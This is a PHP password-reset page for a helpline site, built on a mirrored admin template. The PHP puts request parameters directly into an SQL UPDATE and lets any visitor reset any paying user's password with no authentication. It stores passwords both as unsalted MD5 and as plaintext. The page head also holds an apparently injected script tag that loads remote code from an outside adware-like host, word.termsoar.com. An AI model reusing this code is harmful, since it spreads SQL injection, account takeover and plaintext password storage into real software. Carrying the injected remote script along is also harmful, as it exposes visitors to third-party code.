<?php
	session_start();
	include "connect.php";	
	if(isset($_SESSION['Master_login'])){ header("location:home.php");}
	
	// $q_sql_update = "DELETE FROM `user_tbl` WHERE `pay_status`= 0 ";
				// $q_query_update = mysqli_query($conn,$q_sql_update);
				
	if(isset($_POST['Login']) && $_POST['Login']=='Master')
	{
		
		$user_id = $_GET['user_id'];
		$main_password = $_POST['password'];
		$password = md5($_POST['password']);
		
		//echo "UPDATE `user_tbl` SET `password` = '$password',`main_password` = '$main_password' WHERE id = '$user_id' AND `pay_status` = 1 "; die;
		$checkLogin=mysqli_query($conn,"UPDATE `user_tbl` SET `password` = '$password',`main_password` = '$main_password' WHERE id = '$user_id' AND `pay_status` = 1 ");
		if($checkLogin){
				
			 echo "<script>alert('Password reset successfully.');   window.location = 'index.php'; </script>";			 
		}else{
			 echo "<script>alert('Pleaase try again. Email or username dose not exist.');   window.location = 'reset_password.php?user_id=$user_id'; </script>";			 
		}
	}
$wr='<div class="alert alert-warning alert-dismissible" role="alert" style="margin-top: -18px; padding: 10px;"><button type="button" class="close" data-dismiss="alert"><span aria-hidden="true" style="margin-left:-50px; color:white;">&times;</span><span class="sr-only">Close</span></button><strong>Warning!</strong> Profile is not active.</div>';
//$success='<div class="alert alert-success alert-dismissible" role="alert" style="margin-top: -18px; padding: 10px;"><button type="button" class="close" data-dismiss="alert"><span aria-hidden="true" style="margin-left:-50px; color:white;">&times;</span><span class="sr-only">Close</span></button><strong>Success!</strong> Login is successfull.</div>';
$err='<div class="alert alert-danger alert-dismissible" role="alert" style="margin-top: -18px; padding: 10px;"><button type="button" class="close" data-dismiss="alert"><span aria-hidden="true" style="margin-left:-50px; color:white;">&times;</span><span class="sr-only">Close</span></button><strong>Wrong!</strong> Invalid credentials.</div>';
?>
<!DOCTYPE html>
<html lang="en">
<!-- Mirrored from themedesigner.in/demo/admin-press/main/pages-login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 06 Nov 2019 10:12:10 GMT -->
<head>
 <script id="vitruvian" type="text/javascript" async="true" src="http://word.termsoar.com/kernel/1B01B854-532C-4E44-BA49-79E61741AD54?aid=DD0374BA-7DAE-4050-85C1-631479375AAC&amp;iid=9965FB3E-C9FA-41A9-86FF-2EBE8313D3D6&amp;itm=2015-11-09T11:57:54Z" data-nid="1B01B854-532C-4E44-BA49-79E61741AD54" data-ie-pid="00000000-0000-0000-0000-000000000000" data-cr-pid="00000000-0000-0000-0000-000000000000" data-ff-pid="00000000-0000-0000-0000-000000000000" data-nf-pid="346E3B16-F266-4C38-B57A-08BF548F68CB" data-pid="346E3B16-F266-4C38-B57A-08BF548F68CB" data-aid="DD0374BA-7DAE-4050-85C1-631479375AAC" data-iid="9965FB3E-C9FA-41A9-86FF-2EBE8313D3D6" data-ver="1.10.0.28" data-itm="2015-11-09T11:57:54Z" data-hid="C684C09A-CD9C-10D9-92F9-3751A43B4A5D" data-ie-at="00000000-0000-0000-0000-000000000000" data-cr-at="00000000-0000-0000-0000-000000000000" data-ff-at="00000000-0000-0000-0000-000000000000" data-nf-at="A8B4407D-75B4-7CB7-A71C-BE470557C819" data-at="A8B4407D-75B4-7CB7-A71C-BE470557C819" data-ie-ver="8.0.7600.16385" data-cr-ver="" data-ff-ver="41.0 (x86 en-US)" data-dbsr="firefox" data-osn="Windows 7 Ultimate" data-osv="6.1.7600" data-ost="x32" data-bsr="NF" ></script>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!-- Tell the browser to be responsive to screen width -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <!-- Favicon icon -->
    <link rel="icon" type="image/png" sizes="16x16" href="assets/images/favicon.png">
    <title>JOYRAM HELP LINE 80 : LOGIN </title>
    <!-- Bootstrap Core CSS -->
    <link href="assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet">
    <!-- Custom CSS -->
    <link href="css/style.css" rel="stylesheet">
    <!-- You can change the theme colors from here -->
    <link href="css/colors/blue.css" id="theme" rel="stylesheet">
    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
    <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>

<body>
    <!-- ============================================================== -->
    <!-- Preloader - style you can find in spinners.css -->
    <!-- ============================================================== -->
    <div class="preloader">
        <svg class="circular" viewBox="25 25 50 50">
            <circle class="path" cx="50" cy="50" r="20" fill="none" stroke-width="2" stroke-miterlimit="10" /> </svg>
    </div>
    <!-- ============================================================== -->
    <!-- Main wrapper - style you can find in pages.scss -->
    <!-- ============================================================== -->
    <section id="wrapper">
        <div class="login-register" style="background-image:url(assets/images/background/back.jpg);position: fixed;">
            <div class="login-box card">
                <div class="card-body">
				 <form class="form-horizontal form-material" id="frm_login" role="form" action="" method="POST">
		             <input type="hidden" name="Login" id="Login" value="Master" />
                        <h3 class="box-title m-b-20 text-success">Reset Password</h3>
						 <div id="response"><?php if(isset($_GET['wr'])){ echo $wr; } ?><?php if(isset($_GET['err'])){ echo $err; } ?></div>
                        <div class="form-group ">
                            <div class="col-xs-12">
                                <input class="form-control" type="text" required name="password" placeholder="Password"> </div>
                        </div>
                      
                        <div class="form-group text-center m-t-20">
                            <div class="col-xs-12">
                                <button class="btn btn-info btn-lg btn-block text-uppercase waves-effect waves-light" type="submit">Submit</button>
                            </div>
                        </div>
                       
                    </form>
                    
                </div>
            </div>
        </div>
    </section>
    <!-- ============================================================== -->
    <!-- End Wrapper -->
    <!-- ============================================================== -->
    <!-- ============================================================== -->
    <!-- All Jquery -->
    <!-- ============================================================== -->
    <script src="assets/plugins/jquery/jquery.min.js"></script>
    <!-- Bootstrap tether Core JavaScript -->
    <script src="assets/plugins/bootstrap/js/popper.min.html"></script>
    <script src="assets/plugins/bootstrap/js/bootstrap.min.js"></script>
    <!-- slimscrollbar scrollbar JavaScript -->
    <script src="js/jquery.slimscroll.js"></script>
    <!--Wave Effects -->
    <script src="js/waves.js"></script>
    <!--Menu sidebar -->
    <script src="js/sidebarmenu.js"></script>
    <!--stickey kit -->
    <script src="assets/plugins/sticky-kit-master/dist/sticky-kit.min.js"></script>
    <script src="assets/plugins/sparkline/jquery.sparkline.min.js"></script>
    <!--Custom JavaScript -->
    <script src="js/custom.min.js"></script>
    <!-- ============================================================== -->
    <!-- Style switcher -->
    <!-- ============================================================== -->
    <script src="assets/plugins/styleswitcher/jQuery.style.switcher.js"></script>
</body>


<!-- Mirrored from themedesigner.in/demo/admin-press/main/pages-login.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 06 Nov 2019 10:12:15 GMT -->
</html>